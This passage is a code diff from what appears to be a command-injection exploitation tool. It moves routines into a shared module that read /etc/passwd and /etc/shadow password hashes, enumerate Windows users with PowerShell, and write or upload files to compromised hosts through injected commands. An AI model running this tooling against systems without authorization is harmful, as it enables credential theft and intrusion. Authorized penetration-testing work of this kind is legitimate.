+ print(settings.print_warning_msg(warn_msg))
+ pass
+
+ # Unix-like users enumeration.
+ else:
+ try:
+ if sys_users[0] :
+ sys_users = "".join(str(p) for p in sys_users).strip()
+ if len(sys_users.split(" ")) <= 1 :
+ sys_users = sys_users.split("\n")
+ else:
+ sys_users = sys_users.split(" ")
+ # Check for appropriate '/etc/passwd' format.
+ if len(sys_users) % 3 != 0 :
+ warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is "
+ warn_msg += "not in the appropriate format. Thus, it is expoted as a text file."
+ print(settings.print_warning_msg(warn_msg))
+ sys_users = " ".join(str(p) for p in sys_users).strip()
+ print(sys_users)
+ output_file = open(filename, "a")
+ if not menu.options.no_logging:
+ output_file.write(" " + sys_users)
+ output_file.close()
+ else:
+ sys_users_list = []
+ for user in range(0, len(sys_users), 3):
+ sys_users_list.append(sys_users[user : user + 3])
+ if len(sys_users_list) != 0 :
+ if settings.VERBOSITY_LEVEL == 0 and _:
+ print(settings.SINGLE_WHITESPACE)
+ info_msg = "Identified " + str(len(sys_users_list))
+ info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
+ info_msg += " in '" + settings.PASSWD_FILE + "'."
+ print(settings.print_bold_info_msg(info_msg))
+ # Add infos to logs file.
+ output_file = open(filename, "a")
+ if not menu.options.no_logging:
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ output_file.close()
+ count = 0
+ for user in range(0, len(sys_users_list)):
+ sys_users = sys_users_list[user]
+ sys_users = ":".join(str(p) for p in sys_users)
+ count = count + 1
+ fields = sys_users.split(":")
+ fields1 = "".join(str(p) for p in fields)
+ # System users privileges enumeration
+ try:
+ if not fields[2].startswith("/"):
+ raise ValueError()
+ if menu.options.privileges:
+ if int(fields[1]) == 0:
+ is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
+ is_privileged_nh = " is root user "
+ elif int(fields[1]) > 0 and int(fields[1]) < 99 :
+ is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
+ is_privileged_nh = " is system user "
+ elif int(fields[1]) >= 99 and int(fields[1]) < 65534 :
+ if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534:
+ is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
+ is_privileged_nh = " is anonymous user "
+ elif int(fields[1]) == 60002:
+ is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
+ is_privileged_nh = " is non-trusted user "
+ else:
+ is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
+ is_privileged_nh = " is regular user "
+ else :
+ is_privileged = ""
+ is_privileged_nh = ""
+ else :
+ is_privileged = ""
+ is_privileged_nh = ""
+ print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
+ # Add infos to logs file.
+ output_file = open(filename, "a")
+ if not menu.options.no_logging:
+ output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
+ output_file.close()
+ except ValueError:
+ if count == 1 :
+ warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the "
+ warn_msg += "appropriate format. Thus, it is expoted as a text file."
+ print(settings.print_warning_msg(warn_msg))
+ sys_users = " ".join(str(p) for p in sys_users.split(":"))
+ print(sys_users)
+ output_file = open(filename, "a")
+ if not menu.options.no_logging:
+ output_file.write(" " + sys_users)
+ output_file.close()
+ else:
+ # print(settings.SINGLE_WHITESPACE)
+ warn_msg = "It seems that you don't have permissions to read the '"
+ warn_msg += settings.PASSWD_FILE + "'."
+ ptint(settings.print_warning_msg(warn_msg))
+ except TypeError:
+ pass
+ except IndexError:
+ # print(settings.SINGLE_WHITESPACE)
+ warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '"
+ warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
+ print(settings.print_warning_msg(warn_msg))
+ pass
+
+"""
+Print users enumeration.
+"""
+def print_passes(sys_passes, filename, _):
+ if sys_passes == "":
+ sys_passes = " "
+ sys_passes = sys_passes.replace(" ", "\n")
+ sys_passes = sys_passes.split()
+ if len(sys_passes) != 0 :
+ if settings.VERBOSITY_LEVEL == 0 and _:
+ print(settings.SINGLE_WHITESPACE)
+ info_msg = "Identified " + str(len(sys_passes))
+ info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1]
+ info_msg += " in '" + settings.SHADOW_FILE + "'."
+ print(settings.print_bold_info_msg(info_msg))
+ # Add infos to logs file.
+ output_file = open(filename, "a")
+ if not menu.options.no_logging:
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg )
+ output_file.close()
+ count = 0
+ for line in sys_passes:
+ count = count + 1
+ try:
+ if ":" in line:
+ fields = line.split(":")
+ if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "":
+ print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL)
+ # Add infos to logs file.
+ output_file = open(filename, "a")
+ if not menu.options.no_logging:
+ output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
+ output_file.close()
+ # Check for appropriate '/etc/shadow' format.
+ except IndexError:
+ if count == 1 :
+ warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not "
+ warn_msg += "in the appropriate format. Thus, it is expoted as a text file."
+ print(settings.print_warning_msg(warn_msg))
+ print(fields[0])
+ output_file = open(filename, "a")
+ if not menu.options.no_logging:
+ output_file.write(" " + fields[0])
+ output_file.close()
+ else:
+ warn_msg = "It seems that you don't have permissions to read the '"
+ warn_msg += settings.SHADOW_FILE + "' file."
+ print(settings.print_warning_msg(warn_msg))
+
+"""
+Quote provided cmd
+"""
+def quoted_cmd(cmd):
+ cmd = "\"" + cmd + "\""
+ return cmd
+
+"""
+Find filename
+"""
+def find_filename(dest_to_write, content):
+ fname = os.path.basename(dest_to_write)
+ tmp_fname = "tmp_" + fname
+ content = quoted_cmd(content)
+ cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + tmp_fname
+ return fname, tmp_fname, cmd
+
+"""
+Decode base 64 encoding
+"""
+def win_decode_b64_enc(fname, tmp_fname):
+ cmd = settings.CERTUTIL_DECODE_CMD + tmp_fname + " " + fname
+ return cmd
+
+"""
+Remove command substitution on provided command
+"""
+def remove_command_substitution(cmd):
+ cmd = cmd.replace("echo $(","").replace(")","")
+ return cmd
+
+"""
+Write the file content
+"""
+def write_content(content, dest_to_write):
+ content = quoted_cmd(content)
+ cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + dest_to_write
+ return cmd
+
+"""
+Delete filename
+"""
+def delete_tmp(tmp_fname):
+ cmd = settings.WIN_DEL + tmp_fname
+ return cmd
+
+"""
+Check if file exists.
+"""
+def check_file(dest_to_upload):
+ if settings.TARGET_OS == "win":
+ cmd = settings.FILE_LIST_WIN + dest_to_upload
+ else:
+ cmd = "echo $(" + settings.FILE_LIST + dest_to_upload + ")"
+ return cmd
+
+
+"""
+Change directory
+"""
+def change_dir(dest_to_write):
+ dest_to_write = dest_to_write.replace("\\","/")
+ path = os.path.dirname(dest_to_write)
+ path = path.replace("/","\\")
+ cmd = "cd " + path
+ return cmd
+
+"""
+File content to read.
+"""
+def file_content_to_read():
+ file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode()
+ info_msg = "Fetching content of the file: '"
+ info_msg += file_to_read + "'."
+ print(settings.print_info_msg(info_msg))
+ if settings.TARGET_OS == "win":
+ cmd = settings.WIN_FILE_READ + file_to_read
+ else:
+ if settings.EVAL_BASED_STATE:
+ cmd = "(" + settings.FILE_READ + file_to_read + ")"
+ else:
+ cmd = settings.FILE_READ + file_to_read
+ return cmd, file_to_read
+
+"""
+File read status
+"""
+def file_read_status(shell, file_to_read, filename):
+ if shell:
+ _ = "Fetched file content"
+ print(settings.print_retrieved_data(_, shell))
+ output_file = open(filename, "a")
+ if not menu.options.no_logging:
+ info_msg = "Extracted content of the file '"
+ info_msg += file_to_read + "' : " + shell + "\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ output_file.close()
+ else:
+ warn_msg = "It seems that you don't have permissions "
+ warn_msg += "to read the content of the file '" + file_to_read + "'."
+ print(settings.print_warning_msg(warn_msg))
+
+"""
+Check upload/write destination
+"""
+def check_destination(destination):
+ if menu.options.file_write:
+ where = menu.options.file_write
+ else:
+ where = menu.options.file_upload
+ if os.path.split(destination)[1] == "" :
+ _ = os.path.split(destination)[0] + "/" + os.path.split(where)[1]
+ elif os.path.split(destination)[0] == "/":
+ _ = "/" + os.path.split(destination)[1] + "/" + os.path.split(where)[1]
+ elif os.path.split(destination)[0] == "\\":
+ _ = "\\" + os.path.split(destination)[1] + "\\" + os.path.split(where)[1]
+ else:
+ _ = destination
+ return _
+
+"""
+Write the content of the file
+"""
+def check_file_to_write():
+ file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode()
+ if not os.path.exists(file_to_write):
+ err_msg = "It seems that the provided local file '" + file_to_write + "' does not exist."
+ print(settings.print_critical_msg(err_msg))
+ raise SystemExit()
+
+ if os.path.isfile(file_to_write):
+ with open(file_to_write, 'r') as content_file:
+ content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file]
+ content = "".join(str(p) for p in content).replace("'", "\"")
+ if settings.TARGET_OS == "win":
+ import base64
+ content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode()
+ else:
+ warn_msg = "It seems that '" + file_to_write + "' is not a file."
+ print(settings.print_warning_msg(warn_msg))
+ print(settings.SINGLE_WHITESPACE)
+
+ dest_to_write = check_destination(destination=menu.options.file_dest)
+ info_msg = "Trying to write the content of the file '"
+ info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'."
+ print(settings.print_info_msg(info_msg))
+ return file_to_write, dest_to_write, content
+
+"""
+File write status
+"""
+def file_write_status(shell, dest_to_write):
+ if shell:
+ info_msg = "The file has been successfully created on remote directory: '" + dest_to_write + "'."
+ print(settings.print_bold_info_msg(info_msg))
+ else:
+ warn_msg = "It seems that you don't have permissions to write files on the remote directory '" + dest_to_write + "'."
+ print(settings.print_warning_msg(warn_msg))
+
+"""
+File upload procedure.
+"""
+def check_file_to_upload():
+ file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode()
+ try:
+ _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT)
+ except _urllib.error.HTTPError as err_msg:
+ warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")"
+ print(settings.print_warning_msg(warn_msg))
+ raise SystemExit()
+ except ValueError as err_msg:
+ err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1]
+ print(settings.print_critical_msg(err_msg))
+ raise SystemExit()
+ dest_to_upload = check_destination(destination=menu.options.file_dest)
+ info_msg = "Trying to upload the file from '"
+ info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'."
+ print(settings.print_info_msg(info_msg))
+ # Execute command
+ cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
+ return cmd, dest_to_upload
+
+"""
+File upload status.
+"""
+def file_upload_status(shell, dest_to_upload):
+ if shell:
+ info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'."
+ print(settings.print_bold_info_msg(info_msg))
+ else:
+ warn_msg = "It seems that you don't have permissions to upload files on the remote directory '" + dest_to_upload + "'."
+ print(settings.print_warning_msg(warn_msg))
+
"""
Check if defined "--file-upload" option.
"""
def file_upload():
if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload):
- if not menu.options.file_dest.endswith("/"):
- menu.options.file_dest = menu.options.file_dest + "/"
+ # if not menu.options.file_dest.endswith("/"):
+ # menu.options.file_dest = menu.options.file_dest + "/"
# Check if not defined URL for upload.
while True:
message = "Do you want to enable an HTTP server? [Y/n] > "
diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py
index ef5dd22eee..db1786a10b 100755
--- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py
+++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py
@@ -31,7 +31,8 @@
"""
Powershell's version number enumeration (for Windows OS)
"""
-def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
+def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
+ _ = False
cmd = settings.PS_VERSION
if alter_shell:
cmd = cmd.replace("'","\\'")
@@ -48,30 +49,13 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_
session_handler.store_cmd(url, cmd, ps_version, vuln_parameter)
else:
ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- try:
- if float(ps_version):
- settings.PS_ENABLED = True
- # Output PowerShell's version number
- info_msg = "Powershell version: "
- info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = "Powershell version: " + ps_version + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- except ValueError:
- warn_msg = "Heuristics have failed to identify the version of Powershell, "
- warn_msg += "which means that some payloads or injection techniques may be failed."
- print(settings.print_warning_msg(warn_msg))
- settings.PS_ENABLED = False
- checks.ps_check_failed()
+ checks.print_ps_version(ps_version, filename, _)
"""
Hostname enumeration
"""
def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
+ _ = False
if settings.TARGET_OS == "win":
settings.HOSTNAME = settings.WIN_HOSTNAME
cmd = settings.HOSTNAME
@@ -87,24 +71,13 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- if shell:
- shell = "".join(str(p) for p in shell)
- info_msg = "Hostname: " + str(shell)
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = info_msg + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- else:
- warn_msg = "Heuristics have failed to identify the hostname."
- print(settings.print_warning_msg(warn_msg))
+ checks.print_hostname(shell, filename, _)
"""
Retrieve system information
"""
-def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
+def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
+ _ = False
if settings.TARGET_OS == "win":
settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
cmd = settings.RECOGNISE_OS
@@ -128,7 +101,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_
if settings.TARGET_OS != "win":
cmd = settings.DISTRO_INFO
if settings.USE_BACKTICKS:
- cmd = cmd.replace("echo $(","").replace(")","")
+ cmd = checks.remove_command_substitution(cmd)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
@@ -159,23 +132,13 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_
session_handler.store_cmd(url, cmd, target_arch, vuln_parameter)
else:
target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- if target_os and target_arch:
- info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")"
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = info_msg + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- else:
- warn_msg = "Heuristics have failed to fetch underlying operating system information."
- print(settings.print_warning_msg(warn_msg))
+ checks.print_os_info(target_os, target_arch, filename, _)
"""
The current user enumeration
"""
def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
+ _ = False
if settings.TARGET_OS == "win":
settings.CURRENT_USER = settings.WIN_CURRENT_USER
cmd = settings.CURRENT_USER
@@ -191,30 +154,19 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method
session_handler.store_cmd(url, cmd, cu_account, vuln_parameter)
else:
cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- if cu_account:
- cu_account = "".join(str(p) for p in cu_account)
- info_msg = "Current user: " + str(cu_account)
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = info_msg + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- else:
- warn_msg = "Heuristics have failed to fetch the current user."
- print(settings.print_warning_msg(warn_msg))
+ checks.print_current_user(cu_account, filename, _)
"""
Check if the current user has excessive privileges.
"""
def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
+ _ = False
if settings.TARGET_OS == "win":
cmd = settings.IS_ADMIN
else:
cmd = settings.IS_ROOT
if settings.USE_BACKTICKS:
- cmd = cmd.replace("echo $(","").replace(")","")
+ cmd = checks.remove_command_substitution(cmd)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
@@ -227,32 +179,21 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
-
- _ = "True"
- if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
- (settings.TARGET_OS != "win" and shell != "0"):
- _ = "False"
-
- info_msg = "Current user has excessive privileges: " + str(_)
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
+ checks.print_current_user_privs(shell, filename, _)
"""
System users enumeration
"""
def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
+ _ = False
if settings.TARGET_OS == "win":
settings.SYS_USERS = settings.WIN_SYS_USERS
settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
if alter_shell:
settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'")
- # else:
- # settings.SYS_USERS = "\"" + settings.SYS_USERS + "\""
+ else:
+ settings.SYS_USERS = checks.quoted_cmd(settings.SYS_USERS)
cmd = settings.SYS_USERS
if settings.TARGET_OS == "win":
cmd = "cmd /c " + cmd
@@ -268,240 +209,27 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
session_handler.store_cmd(url, cmd, sys_users, vuln_parameter)
else:
sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- # Windows users enumeration.
- if settings.TARGET_OS == "win":
- info_msg = "Executing the 'net users' command "
- info_msg += "in order to enumerate users entries. "
- sys.stdout.write(settings.print_info_msg(info_msg))
- sys.stdout.flush()
- try:
- if sys_users[0] :
- sys_users = "".join(str(p) for p in sys_users).strip()
- sys.stdout.write(settings.SUCCESS_STATUS)
- sys_users_list = re.findall(r"(.*)", sys_users)
- sys_users_list = "".join(str(p) for p in sys_users_list).strip()
- sys_users_list = ' '.join(sys_users_list.split())
- sys_users_list = sys_users_list.split()
- info_msg = "Identified " + str(len(sys_users_list))
- info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
- info_msg += " via 'net users' command."
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- count = 0
- for user in range(0, len(sys_users_list)):
- count = count + 1
- if menu.options.privileges:
- cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')"
- if alter_shell:
- cmd = cmd.replace("'","\\'")
- cmd = "cmd /c " + cmd
- response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
- check_privs = cb_injector.injection_results(response, TAG, cmd)
- check_privs = "".join(str(p) for p in check_privs).strip()
- check_privs = re.findall(r"(.*)", check_privs)
- check_privs = "".join(str(p) for p in check_privs).strip()
- check_privs = check_privs.split()
- if "Admin" in check_privs[0]:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user"
- is_privileged_nh = " is admin user "
- else:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user"
- is_privileged_nh = " is regular user "
- else :
- is_privileged = ""
- is_privileged_nh = ""
- print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".")
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" )
- output_file.close()
- else:
- print(settings.SINGLE_WHITESPACE)
- warn_msg = "It seems that you don't have permissions to enumerate users entries."
- print(settings.print_warning_msg(warn_msg))
- except TypeError:
- pass
- except IndexError:
- print(settings.SINGLE_WHITESPACE)
- warn_msg = "It seems that you don't have permissions to enumerate users entries."
- print(settings.print_warning_msg(warn_msg))
- pass
-
- # Unix-like users enumeration.
- else:
- info_msg = "Fetching content of the file '" + settings.PASSWD_FILE
- info_msg += "' in order to enumerate users entries. "
- print(settings.print_info_msg(info_msg))
- try:
- if sys_users[0] :
- sys_users = "".join(str(p) for p in sys_users).strip()
- if len(sys_users.split(" ")) <= 1 :
- sys_users = sys_users.split("\n")
- else:
- sys_users = sys_users.split(" ")
- # Check for appropriate '/etc/passwd' format.
- if len(sys_users) % 3 != 0 :
- warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is "
- warn_msg += "not in the appropriate format. Thus, it is expoted as a text file."
- print(settings.print_warning_msg(warn_msg))
- sys_users = " ".join(str(p) for p in sys_users).strip()
- print(sys_users)
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(" " + sys_users)
- output_file.close()
- else:
- sys_users_list = []
- for user in range(0, len(sys_users), 3):
- sys_users_list.append(sys_users[user : user + 3])
- if len(sys_users_list) != 0 :
- info_msg = "Identified " + str(len(sys_users_list))
- info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
- info_msg += " in '" + settings.PASSWD_FILE + "'."
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- count = 0
- for user in range(0, len(sys_users_list)):
- sys_users = sys_users_list[user]
- sys_users = ":".join(str(p) for p in sys_users)
- count = count + 1
- fields = sys_users.split(":")
- fields1 = "".join(str(p) for p in fields)
- # System users privileges enumeration
- try:
- if not fields[2].startswith("/"):
- raise ValueError()
- if menu.options.privileges:
- if int(fields[1]) == 0:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
- is_privileged_nh = " is root user "
- elif int(fields[1]) > 0 and int(fields[1]) < 99 :
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
- is_privileged_nh = " is system user "
- elif int(fields[1]) >= 99 and int(fields[1]) < 65534 :
- if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
- is_privileged_nh = " is anonymous user "
- elif int(fields[1]) == 60002:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
- is_privileged_nh = " is non-trusted user "
- else:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
- is_privileged_nh = " is regular user "
- else :
- is_privileged = ""
- is_privileged_nh = ""
- else :
- is_privileged = ""
- is_privileged_nh = ""
- print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
- output_file.close()
- except ValueError:
- if count == 1 :
- warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the "
- warn_msg += "appropriate format. Thus, it is expoted as a text file."
- print(settings.print_warning_msg(warn_msg))
- sys_users = " ".join(str(p) for p in sys_users.split(":"))
- print(sys_users)
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(" " + sys_users)
- output_file.close()
- else:
- print(settings.SINGLE_WHITESPACE)
- warn_msg = "It seems that you don't have permissions to read the '"
- warn_msg += settings.PASSWD_FILE + "'."
- ptint(settings.print_warning_msg(warn_msg))
- except TypeError:
- pass
- except IndexError:
- print(settings.SINGLE_WHITESPACE)
- warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '"
- warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
- print(settings.print_warning_msg(warn_msg))
- pass
+ checks.print_users(sys_users, filename, _)
"""
System passwords enumeration
"""
-def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
- if settings.TARGET_OS == "win":
- check_option = "--passwords"
- checks.unavailable_option(check_option)
- pass
+def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
+ _ = False
+ cmd = settings.SYS_PASSES
+ if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
+ # Command execution results.
+ response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
+ # Perform target page reload (if it is required).
+ if settings.URL_RELOAD:
+ response = requests.url_reload(url, timesec)
+ # Evaluate injection results.
+ sys_passes = cb_injector.injection_results(response, TAG, cmd)
+ sys_passes = "".join(str(p) for p in sys_passes)
+ session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter)
else:
- cmd = settings.SYS_PASSES
- if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
- # Command execution results.
- response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
- # Perform target page reload (if it is required).
- if settings.URL_RELOAD:
- response = requests.url_reload(url, timesec)
- # Evaluate injection results.
- sys_passes = cb_injector.injection_results(response, TAG, cmd)
- sys_passes = "".join(str(p) for p in sys_passes)
- session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter)
- else:
- sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- if sys_passes == "":
- sys_passes = " "
- if sys_passes :
- info_msg = "Fetching content of the file '" + settings.SHADOW_FILE
- info_msg += "' in order to enumerate users password hashes. "
- print(settings.print_info_msg(info_msg))
- sys_passes = sys_passes.replace(" ", "\n")
- sys_passes = sys_passes.split()
- if len(sys_passes) != 0 :
- info_msg = "Identified " + str(len(sys_passes))
- info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1]
- info_msg += " in '" + settings.SHADOW_FILE + "'."
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg )
- output_file.close()
- count = 0
- for line in sys_passes:
- count = count + 1
- try:
- if ":" in line:
- fields = line.split(":")
- if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "":
